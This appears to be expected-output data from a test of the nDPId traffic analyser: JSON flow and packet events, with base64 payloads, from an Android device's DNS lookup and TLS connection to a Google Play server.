+00515{"flow_id":152,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2810,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":628315,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"ePiC0\/vCAMDKkaPvCABFAABw6\/5AAEARoYSsECoBrBAq2AA1nekAXGuw5IqBgAABAAIAAAAAB2FuZHJvaWQHY2xpZW50cwZnb29nbGUDY29tAAABAAHADAAFAAEAAAErAAwHYW5kcm9pZAFswBzAOAABAAEAAAErAATYOsJO"} +00690{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2810,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":152,"flow_packet_id":2,"flow_first_seen":1490976195545,"flow_last_seen":1490976195628,"flow_tot_l4_data_len":144,"flow_min_l4_data_len":52,"flow_max_l4_data_len":92,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":40425,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"dns": {"query":"android.clients.google.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.58.194.78"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2811,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1490976195633,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"216.58.194.78","src_port":49067,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":153,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2811,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":633256,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8fD5AAEAGTQysECrY2DrCTr+rAbtBfvaFAAAAAKAC\/\/9RcQAAAgQFtAQCCAoA9oq7AAAAAAEDAwg="} +00613{"flow_id":151,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2812,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":634372,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACysu9AAEAGqomsECrYNFXRj6NkAbuAhDkjfMMVyYAYAYT3ewAAAQEICgD2irtttHwxFgMDAEYQAABCQQR\/iyUDBD5QHIqcL2y\/iDVj4\/p29H0Z\/7JlugE+juqz+ykVJVirfGOjGxDQc3m7NMxlpIR+w\/HNlOiuFcCxOd0YFAMDAAEBFgMDACgAAAAAAAAAAD03hH\/kAE\/axQU4iUFGg\/QO5KSPlw\/4sUYxxZRO1rp6"} +02410{"flow_id":151,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2813,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":647088,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcsvBAAEAGpV6sECrYNFXRj6NkAbuAhDmhfMMVyYAQAYTgzwAAAQEICgD2irxttHwxFwMDCG4AAAAAAAAAAY52sZVNdZiUHXZ+k2kOqXhrYmsaJV0nsvS6oJqnO0vfi1iMsGpn5eMIv9sk\/W6rYSMG6Y021EmGVoB7pqGb0ZewzHdfsautLhAcAMFTF\/0zKhPb4azdc2EN\/IrpS\/q3EM8wJu1HVsp5SvAZSHkcwcUAk6q0plzQEBrHKGs7zsKzwX9BZFhEVXMr\/Pi72wSZkvoxwD5MEcdIxRtbFMii8xX1H\/YqrLB4xk29OHRaFf5pD0Q4RdQVPb6HspD\/YA1kDrJC3fDJ1npG3AvznCsJnJOh2cITnhYD1OLFOlxJEX95+6JgJFc86IAeDYYFgTeWO89g5f4ZC3GSN4Brl0GshA1dTxTb6iFXvt6\/RsHYxs8XyWIxbPahnc3YvU7WuiSCe9j9OSeYh+z\/Khqtjj\/ynQa\/jpnwhNs24FJnqCANFQqaTbWMITOVJ1\/4QRaxsOwW+mcutXxuLnsm1WZsQIMcQLpmeF9VYbI9SPbpjvSxDVOqAoLriV86Fpg5CukgjXaTJuy67C6jbe1+m6c0BRyz6un0QJlOA9nlXK+VaZ9e6WNhSZkIdwCryf02JiQ\/zyT4Mt2mmUDtevVuOXU77+TVlVQguWY2\/5uIbk8Q3ijTFdWQcvOMW9lzTj0gLa5Jcf9vXyoaBIgAjIRKXK8BlEDwwpR7mF0Lt64hgH0pA913x3dHxgZ2olRKKZ7dKkKh3DBM5nmEcITeZKiemI\/RPLPGr+FHGMPkYTVVzHCO2cYjkf5aCDQHr8w5g4RiIsb3KckNDxl5xKpwZaSWSH5Iirgm3ucgSM4ClJuPr7XVaZAvKx5MGcQzDBbUMUKeOfzEZBD2bjxGmZok7Lk4LKPue6L622yK+b7NdsoYYVHbrRvVpNbHoeET0XNZD2\/x6sLJfRN+yOnSuD4FWn47HNwhEBt5wdYZp7e9dvbrXJaSiGcQPCU4sURGgWreGwUAhxiRoI8RqIBPufBwKeksk8\/oTq\/LI3E2gW84c+mzBLI4G2Y3Ncw7siB2mQrtzoxOmy+4pyQnar9C8qgum6N4snSVa\/HaGJ\/A7mIfvywKcUmxrG17r6GIj4RCKDS4F4+QiT7rB5iJDn+Zxk8mjivySOyVp7ooVg+X3\/I9pfpzmlr9i08OB+NXKixeOhEptwuVu4n0vsoBZwhHFREwnD5uCQZ82zNywpHa5W3k9xma9UJcL68daVdyDbPuoXsDqr\/S8+xdmQ6HGAwhmRPqDEu8\/ZPPl+ItCKmFQNf+N7IFJ7YCZ2SHX\/\/7FBFD\/YPG50YfjoIDfywk\/2axGcfJ+hhZZhAOp\/0KseXYU4RuOngf9lRqIv97mQ5xay6SYZNKwRgnhEQlClaOhh\/MAkxVrvhO3ffimYji9w2d3iq1EGiseVbzYw4dsnCVzz6Mn+KfLjcNYZz9ygA+JGq97OPH6IUUMeL\/h0tYfBje2WFH4yNF0tejxjKM0sZuRSazArI9HX\/QVOymP7V435k6BX7c99M8OyCzz\/AxuzLbFs58FlyI9\/jmXHJ7EI3BCnSoNNwyN+0qLope6V\/srVMN35nLdIJ6yZ4WKZhOOzfX3O8rM6bN15rPz3+31qXbX3Y30\/mgY\/mqn+0do\/1O3OxVjPZXaiwcKbzcaolXPGFu3oY1eDAo+PiugVk1+IBA45GFqpNuhOUli1s3T9rSL+5RfoGI8oROoS0vAjyebEvRXYAeeKzoj\/OjODTj33a0DGa1N5vYHXH9lXmMlRnxgHi\/hVb21asMmgxIrOX9NkwGjYlXz+pz0E31fhAvkKWryoh6idgzyJVhtOarHtekEqGmZn0VrFk05TdGcJD4vAh8CORn9E6JwpsNSe9LxKgEM4TYi6pqj2fMEYmsElm4jV5P58EdQERO69MqhyWFYLxBRWWCmOqX0lccc+n8xiwbGpd8EMND8MS3YUQ="} +00444{"flow_id":153,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2815,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":670657,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8ibgAADcGiJLYOsJOrBAq2AG7v6uBvvSDQX72hqASpajvAAAAAgQFZAQCCAoLBTvAAPaKuwEDAwc="} +00432{"flow_id":153,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2816,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":672208,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0fD9AAEAGTROsECrY2DrCTr+rAbtBfvaGgb70hIAQAVfBygAAAQEICgD2ir8LBTvA"} +00686{"flow_id":153,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2820,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":724734,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"AMDKkaPvePiC0\/vCCABFAADtfEBAAEAGTFmsECrY2DrCTr+rAbtBfvaGgb70hIAYAVcNmQAAAQEICgD2isQLBTvAFgMBALQBAACwAwOyGSGBgtCm4VEGsO9q\/vzaBrFVmU1Xzv04\/EnIjdiunAAAKMypzBTAK8AszKjME8AvwDAAngCfwAnACsATwBQAMwA5AJwAnQAvADUBAABf\/wEAAQAAAAAfAB0AABphbmRyb2lkLmNsaWVudHMuZ29vZ2xlLmNvbQAXAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAACwACAQAACgAIAAYAHQAXABg="} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2820,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":153,"flow_packet_id":4,"flow_first_seen":1490976195633,"flow_last_seen":1490976195724,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":32,"flow_max_l4_data_len":217,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"216.58.194.78","src_port":49067,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"tls": {"version":"TLSv1.2","client_requested_server_name":"android.clients.google.com","ja3":"5bf38a5cbf896cd31eeef4d6ad1503e1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00432{"flow_id":153,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2823,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":760501,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0idQAADcGiH7YOsJOrBAq2AG7v6uBvvSEQX73P4AQAVTAtgAAAQEICgsFPBkA9orE"} +02333{"flow_id":153,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2824,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":762060,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ePiC0\/vCAMDKkVoBCABFAAW+idUAADcGgvPYOsJOrBAq2AG7v6uBvvSEQX73P4AQAVSgnQAAAQEICgsFPBoA9orEFgMDAFsCAABXAwNY3n3DDL+algu9UzbgCZgTTV+cp0kWsPY9N9U8YH7x7iBtu\/9gnRCQJlHQwKGfvFkpVNjddeFLlYBCG+hlD2XCssypAAAP\/wEAAQAAFwAAAAsAAgEAFgMDDq0LAA6pAA6mAAcoMIIHJDCCBgygAwIBAgIIZm0NGUUgCcswDQYJKoZIhvcNAQELBQAwSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwHhcNMTcwMzIyMTcwMjUwWhcNMTcwNjE0MTYxNzAwWjBmMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzEVMBMGA1UEAwwMKi5nb29nbGUuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAERjGx6s9o\/BcqozqN8UiwzbcHdCvaVPellf7KFLWtbsaC8Oo+QcYhDdeSGHkuUk8MV61V6Z+bLMK5AAp6NIqEUKOCBLwwggS4MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjALBgNVHQ8EBAMCB4AwggN7BgNVHREEggNyMIIDboIMKi5nb29nbGUuY29tgg0qLmFuZHJvaWQuY29tghYqLmFwcGVuZ2luZS5nb29nbGUuY29tghIqLmNsb3VkLmdvb2dsZS5jb22CDiouZ2NwLmd2dDIuY29tghYqLmdvb2dsZS1hbmFseXRpY3MuY29tggsqLmdvb2dsZS5jYYILKi5nb29nbGUuY2yCDiouZ29vZ2xlLmNvLmlugg4qLmdvb2dsZS5jby5qcIIOKi5nb29nbGUuY28udWuCDyouZ29vZ2xlLmNvbS5hcoIPKi5nb29nbGUuY29tLmF1gg8qLmdvb2dsZS5jb20uYnKCDyouZ29vZ2xlLmNvbS5jb4IPKi5nb29nbGUuY29tLm14gg8qLmdvb2dsZS5jb20udHKCDyouZ29vZ2xlLmNvbS52boILKi5nb29nbGUuZGWCCyouZ29vZ2xlLmVzggsqLmdvb2dsZS5mcoILKi5nb29nbGUuaHWCCyouZ29vZ2xlLml0ggsqLmdvb2dsZS5ubIILKi5nb29nbGUucGyCCyouZ29vZ2xlLnB0ghIqLmdvb2dsZWFkYXBpcy5jb22CDyouZ29vZ2xlYXBpcy5jboIUKi5nb29nbGVjb21tZXJjZS5jb22CESouZ29vZ2xldmlkZW8uY29tggwqLmdzdGF0aWMuY26CDSouZ3N0YXRpYy5jb22CCiouZ3Z0MS5jb22CCiouZ3Z0Mi5jb22CFCoubWV0cmljLmdzdGF0aWMuY29tggwqLnVyY2hpbi5jb22CECoudXJsLmdvb2dsZS5jb22CFioueW91dHViZS1ub2Nvb2tpZS5jb22CDSoueW91dHViZS5jb22CFioueW91dHViZWVkdWNhdGlvbi5jb22CCyoueXRpbWcuY29tghphbmRyb2lkLmNsaWVudHMuZ29vZ2xlLmNvbYILYW5kcm9pZC5jb22CG2RldmVsb3Blci5hbmRyb2lkLmdvb2dsZS5jboIEZy5jb4IGZ29vLmdsghRnb29nbGUtYW5hbHl0aWNzLmNvbYIKZ29vZ2xlLmNvbYISZ29vZ2xlY29tbWVyY2UuY29tggp1cmNoaW4uY29tggp3d3cuZ29vLmdsggh5b3V0dS5iZYILeW91dHViZS5jb22CFHlvdXR1YmVlZHVjYXRpb24uY29tMGgGCCsGAQUFBwEBBFwwWjArBgg="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2824,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":153,"flow_packet_id":6,"flow_first_seen":1490976195633,"flow_last_seen":1490976195762,"flow_tot_l4_data_len":1811,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":301,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"216.58.194.78","src_port":49067,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"tls": {"version":"TLSv1.2","client_requested_server_name":"android.clients.google.com","ja3":"5bf38a5cbf896cd31eeef4d6ad1503e1","ja3s":"9b1466fd60cadccb848e09c86e284265","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256"}} +02351{"flow_id":153,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2825,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":762587,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"ePiC0\/vCAMDKkVoBCABFAAW+idYAADcGgvLYOsJOrBAq2AG7v6uBvvoOQX73P4AQAVQAJQAAAQEICgsFPBoA9orEKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcnQwKwYIKwYBBQUHMAGGH2h0dHA6Ly9jbGllbnRzMS5nb29nbGUuY29tL29jc3AwHQYDVR0OBBYEFByoUDDt8sNgYUgNmwsm\/RdPWzBwMAwGA1UdEwEB\/wQCMAAwHwYDVR0jBBgwFoAUSt0GFhu89mi1dvWBtrtiGrpagS8wIQYDVR0gBBowGDAMBgorBgEEAdZ5AgUBMAgGBmeBDAECAjAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vcGtpLmdvb2dsZS5jb20vR0lBRzIuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQBXMn6FcaNDiz0t7Pm7rqBB+T3N3J2fO3M1orczDg4\/\/cZIf+Ur7Fh3\/5tgpaEKZ5+g2l8qMj2x8X2xXC4ibY+o2R1LNOSF\/y1a\/U1vRkw5Kc2EujEECC2IrBhtW9fbRYtgqpsg54SR33OtZ5SoDKUZ56PNJxyE0WM2kIse3xFmjjYOa2L2j65EEBmxsv2QP9RLtKStWtzgYR7s8Jm1Gh6BZMJXEocAeCg4UDobKSswgkAgRDZv9AAWj71OF7b0n9ZnFFqZlTQZRiV5lSjwaKJp03eguOopp0jHYrt1WTZ3d7NO7moPP5Q467QO0ZoPI4ERul2KIzt+MpS7ZGIv+gatAAP0MIID8DCCAtigAwIBAgIDAjqSMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTUwNDAxMDAwMDAwWhcNMTcxMjMxMjM1OTU5WjBJMQswCQYDVQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzElMCMGA1UEAxMcR29vZ2xlIEludGVybmV0IEF1dGhvcml0eSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJwqBHdc2FCROgajguDYUEi8iT\/xGXAaiEZ+4I\/F8YnOIe5a\/mENtzJEiaB0C1NPVaTOgmKV7utZX8bhBYASxF6UP7xbSDj0U\/ck5vuR6RXEz\/RTDfRK\/J9U3n2+oGtvh8DQUB8oMANA2ghzUWx\/\/zo8pzcGjr1LEQTrfSTe5vn8MXH7lNVg8y5Kr0LSy+rEahqyzFPdFUuLH8gZYR\/Nnag+YyuENWllhMgZxUYi+FOVvuOAShDGKuy6lyARxzmZEASg8GF6lSWMTlJ14rbtCMoU\/M4iarNOz0YDl5cDfsCx3nuvRTPPuj5xt970JSXCDTWJnZ37DhF5iR43xa+OcmkCAwEAAaOB5zCB5DAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQUSt0GFhu89mi1dvWBtrtiGrpagS8wDgYDVR0PAQH\/BAQDAgEGMC4GCCsGAQUFBwEBBCIwIDAeBggrBgEFBQcwAYYSaHR0cDovL2cuc3ltY2QuY29tMBIGA1UdEwEB\/wQIMAYBAf8CAQAwNQYDVR0fBC4wLDAqoCigJoYkaHR0cDovL2cuc3ltY2IuY29tL2NybHMvZ3RnbG9iYWwuY3JsMBcGA1UdIAQQMA4wDAYKKwYBBAHWeQIFATANBgkqhkiG9w0BAQsFAAOCAQEACE4Ep4B\/EBZDXgKt10KA9LCO0q6z6xF9kIQYfeeQFftJf6iZBZG7esnWPDcYCZq2x5IgBzUzCeQoY3INtOAynIeYxBt2iWfBUFiwE6oTGhsypb7qEZVMSGNJ6ZldIDfM\/ippURaVS6neSYLAEHD0LPPsvCQk0E6spdleHm2SwaesSDWB+eU="} +01987{"flow_id":153,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2826,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":763002,"pkt_caplen":1217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1217,"pkt_l4_len":1183,"pkt":"ePiC0\/vCAMDKkVoBCABFAASzidcAADcGg\/zYOsJOrBAq2AG7v6uBvv+YQX73P4AYAVScnQAAAQEICgsFPBoA9orE5Jxlac2HpEFQPy5XpZFRElgOjAmhrHqkEqUn85oQl31VAwb3ZlhfX2Thq11tpTlIdZhMKVo6jdMrypxVBL\/05hTVgKwm7ReJppNsXKTMuPBmjmTjfZriALNJx+QKqt1bg8dwkEZOvtDbWZZsLvUWNt5xzAHCEsEhxhYAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwMAcwwAAG8DAB0gc9698eUlMCxaFKOnpkh8c7JlrPELuN5bTz3++yT1BHkEAwBHMEUCIGWcd\/ky\/ajUG5GDR1\/EbSvufSoCI1S+rP1gR1+t+h1rAiEA2CbVXoIsbRsB0UDU3K8IHC+VO5FNBwp9jd7RjXSsAjcWAwMABA4AAAA="} +01915{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2826,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":153,"flow_packet_id":8,"flow_first_seen":1490976195633,"flow_last_seen":1490976195763,"flow_tot_l4_data_len":4444,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":555,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"216.58.194.78","src_port":49067,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"tls": {"version":"TLSv1.2","client_requested_server_name":"android.clients.google.com","server_names":"*.google.com,*.android.com,*.appengine.google.com,*.cloud.google.com,*.gcp.gvt2.com,*.google-analytics.com,*.google.ca,*.google.cl,*.google.co.in,*.google.co.jp,*.google.co.uk,*.google.com.ar,*.google.com.au,*.google.com.br,*.google.com.co,*.google.com.mx,*.google.com.tr,*.google.com.vn,*.google.de,*.google.es,*.google.fr,*.google.hu,*.google.it,*.google.nl,*.google.pl,*.google.pt,*.googleadapis.com,*.googleapis.cn,*.googlecommerce.com,*.googlevideo.com,*.gstatic.cn,*.gstatic.com,*.gvt1.com,*.gvt2.com,*.metric.gstatic.com,*.urchin.com,*.url.google.com,*.youtube-nocookie.com,*.youtube.com,*.youtubeeducation.com,*.ytimg.com,android.clients.google.com,android.com,developer.android.google.cn,g.co,goo.gl,google-analytics.com,google.com,googlecommerce.com,urchin.com,www.goo.gl,youtu.be,youtube.com,youtubeeducation.com","ja3":"5bf38a5cbf896cd31eeef4d6ad1503e1","ja3s":"9b1466fd60cadccb848e09c86e284265","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.google.com","fingerprint":"54:A0:1E:03:FF:CB:33:BC:9D:65:DC:D7:BF:6B:04:2B:F9:F3:D5:42"}} +00433{"flow_id":153,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2828,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":763683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0fEFAAEAGTRGsECrY2DrCTr+rAbtBfvc\/gb76DoAQAWK7GQAAAQEICgD2isgLBTwa"} +00435{"flow_id":153,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2829,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":764914,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0fEJAAEAGTRCsECrY2DrCTr+rAbtBfvc\/gb7\/mIAQAW21hAAAAQEICgD2isgLBTwa"} +00434{"flow_id":153,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2830,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":765751,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0fENAAEAGTQ+sECrY2DrCTr+rAbtBfvc\/gb8EF4AQAXiw+gAAAQEICgD2isgLBTwa"} +00554{"flow_id":153,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2832,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":795848,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"AMDKkaPvePiC0\/vCCABFAACJfERAAEAGTLmsECrY2DrCTr+rAbtBfvc\/gb8EF4AYAXiEPgAAAQEICgD2issLBTwaFgMDACUQAAAhIO1+O6b2BWfLmOgN7l2aamEnxuIbcJyZR\/JKgs3LJUgaFAMDAAEBFgMDACB3rvUMBQHIPoXwK5nSrId2Fv9BoevfBrrHRAMwMw6rhA=="} +00495{"flow_id":153,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2833,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":828745,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"ePiC0\/vCAMDKkVoBCABFAABfifYAADcGiDHYOsJOrBAq2AG7v6uBvwQXQX73lIAYAVRb7wAAAQEICgsFPF0A9orLFAMDAAEBFgMDACCwAGwbxkE02sXDMu+6itAO3CJMbdGhkjTKTdngMMJeJw=="} 